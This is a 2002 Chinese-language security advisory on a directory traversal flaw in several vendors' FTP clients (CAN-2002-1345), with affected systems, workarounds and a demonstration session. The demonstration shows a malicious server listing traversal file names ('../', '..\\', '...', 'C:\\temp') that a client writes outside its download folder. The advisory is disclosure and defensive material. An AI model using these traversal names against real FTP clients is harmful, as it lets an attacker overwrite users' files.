积极预防 及时发现
快速响应 力保恢复
多家厂商FTP客户端程序目录遍历缺陷 (APP,缺陷)
发布时间:2002-12-19 信息来源:

涉及程序: 多家厂商FTP客户端文件 描述: 多家厂商FTP客户端程序目录遍历缺陷允许文件被非法覆盖 详细: 各种操作系统都含有各种的FTP客户端。但是目前被发现多家厂商的FTP客户端在处理NLST FTP应答时,以不安全方式进行处理,远程攻击者可利用含有此缺陷的恶意FTP服务器,诱使用户访问,把恶意文件覆盖到FTP客户端当前目录之外的系统上。 当FTP客户端处理来自FTP服务器的NLST应答时,RFC规定需要FTP客户端在包含目录信息时需要详细检查输入,而部分FTP客户端没有对此信息进行充分检查,因此,如果恶意FTP服务程序提供的文件包含目录信息如下字符: \"../\",\"/path\",\"..\\\"(Windows系统下),\"C:\"(Windows系统下),\"...\" (Windows系统下等于../..) 当客户端使用一些通配符进行下载时,没有检查这些文件路径信息,造成客户端的目录遍历,盲目下载到客户端指定目录以外位置上。如果熟知客户端系统中文件名和相应目录,可以直接覆盖这些文件,造成拒绝服务等攻击。 受影响系统: Multiple Vendor ftp - OpenBSD 3.0 - Sun Solaris 7.0 x86 - Sun Solaris 2.6 - Sun Solaris 2.6 x86 不受影响系统: Multiple Vendor ftp - Microsoft Windows XP Professional SP1 Multiple Vendor ftp - Microsoft Windows XP Professional Multiple Vendor ftp - Microsoft Windows XP Home SP1 Multiple Vendor ftp - Microsoft Windows XP Home Multiple Vendor ftp - Microsoft Windows NT 4.0 SP6a Multiple Vendor ftp - Microsoft Windows NT 4.0 SP6 Multiple Vendor ftp - Microsoft Windows NT 4.0 SP5 Multiple Vendor ftp - RedHat Linux 7.1 攻击方法: CLIENT> CONNECT server 220 FTP4ALL FTP server ready. Local time is Tue Oct 01, 2002 20:59. Name (server:username): test 331 Password required for test. Password: 230-Welcome, test - I have not seen you since Tue Oct 01, 2002 20:15 ! 230 At the moment, there are 0 guest and 1 registered users logged in. CLIENT> pwd 257 \"/\" is current directory. CLIENT> ls -l 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 1 -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ...\\FAKEME5.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../../FAKEME2.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ../FAKEME1.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\\..\\FAKEME4.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 ..\\FAKEME3.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 /tmp/ftptest/FAKEME6.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 C:\\temp\\FAKEME7.txt -rw-r----- 0 nobody nogroup 54 Oct 01 20:10 FAKEFILE.txt -rw-r----- 0 nobody nogroup 0 Oct 01 20:11 misc.txt 226 Directory listing completed. CLIENT> GET *.txt Opening ASCII data connection for FAKEFILE.txt... Saving as "FAKEFILE.txt" Opening ASCII data connection for ../../FAKEME2.txt... Saving as "../../FAKEME2.txt" Opening ASCII data connection for /tmp/ftptest/FAKEME6.txt... Saving as "/tmp/ftptest/FAKEME6.txt" 解决方案: 目前厂商还没有提供补丁或升级程序,建议用户随时关注厂商站点: OpenBSD http://www.openbsd.org/security.html Sun http://sunsolve.sun.com/security 临时解决方案: * 配置FTP客户端当下载文件已经存在时进行提示,不过这项设置在大多数FTP客户端都默认设置。 * 如果可能,使用\`runique\`选项,使下载覆盖文件时使用不同文件名方式代替。 附加信息: CAN-2002-1345